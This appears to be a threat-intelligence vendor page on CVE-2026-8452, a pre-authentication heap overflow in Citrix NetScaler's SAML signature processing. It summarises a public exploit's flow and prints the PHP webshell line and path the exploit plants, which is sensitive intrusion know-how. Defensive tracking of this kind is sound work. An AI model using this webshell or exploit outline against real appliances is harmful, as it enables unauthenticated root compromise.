Loading vulnerability…
CVE-2026-8452 is a memory overflow vulnerability in Citrix NetScaler ADC and NetScaler Gateway. Vendor guidance describes the issue as causing unpredictable or erroneous behavior and denial of service when the appliance is configured as a Gateway or AAA virtual server. Public technical analysis indicates the vulnerable code resides in the nsppe packet-processing engine during SAML processing, specifically XML signature canonicalization of the ds:SignedInfo element. In vulnerable builds, attacker-controlled data associated with the ec:InclusiveNamespaces PrefixList can be copied into a fixed-size buffer without adequate bounds checking, resulting in a heap-based buffer overflow. Independent research further indicates that, in SAML-enabled deployments acting as a Service Provider or Identity Provider, the overflow can corrupt adjacent heap metadata and be developed into an arbitrary write primitive, enabling pre-authentication remote code execution in the root-privileged nsppe process.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (1 hidden).
This repository contains a single Python exploit script and a README. The script `watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py` is a standalone pre-auth remote code execution exploit for Citrix NetScaler, targeting CVE-2026-8452 via a SAML PrefixList heap overflow in the AAA service. It is not merely a detector despite the README wording; the code actively exploits the target and drops a webshell. Repository structure is minimal: `README.md` documents affected versions, example usage, and states that offsets are hardcoded for NetScaler 13.1-30.52; the Python script contains the full exploit logic. The script uses `pwntools` for shellcode generation/assembly, `capstone` for instruction splitting, and `requests` with a custom `LegacyAdapter` to support legacy TLS connections and disable certificate validation. Exploit flow: `main()` parses `--target`, creates an HTTPS session, builds FreeBSD/amd64 shellcode in `build_sc()`, then initializes the SAML flow against the target to obtain a request ID and Assertion Consumer Service URL. The shellcode writes a PHP webshell to `/var/vpn/theme/x.php` with body `<?php echo(system($_GET[0])); ?>`, closes the file, and performs additional system calls including chmod on `/bin/sh`. Helper routines such as `split_insns()`, `lay_sc()`, and `make_prefixlist()` prepare a malicious PrefixList payload while avoiding blocked bytes and embedding hardcoded memory addresses (`POOL_A3`, `SC_ENTRY`, `MEMCPY_DST`, `MEMMOVE_DST`) suitable for the specified target version. The exploit then crafts a malicious SAML response and submits it as a `SAMLResponse` form field to the target ACS endpoint. After delivery, it polls `https://<target>/vpn/theme/x.php?0=uname+-a;id` to confirm successful code execution and display command output. Overall capability is unauthenticated RCE with persistent webshell deployment on vulnerable NetScaler appliances.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
68 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A high-severity heap-based buffer overflow in Citrix NetScaler ADC and NetScaler Gateway, reachable through SAML/XML signature canonicalization processing in the nsppe packet-processing engine, with potential denial of service and possible code execution implications per the analysis.
A pre-authentication heap overflow in Citrix NetScaler ADC and NetScaler Gateway that can be exploited for unauthenticated root-level remote code execution via the nsppe packet-processing engine.
A purported pre-authentication remote code execution vulnerability affecting Citrix NetScaler, referenced by the tentative identifier CVE-2026-8452.
A heap overflow / memory corruption vulnerability in Citrix NetScaler ADC and NetScaler Gateway SAML signature canonicalization logic. An oversized SAML SignedInfo PrefixList can overflow a fixed-size buffer, leading to unauthenticated remote code execution on affected appliances configured for SAML.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.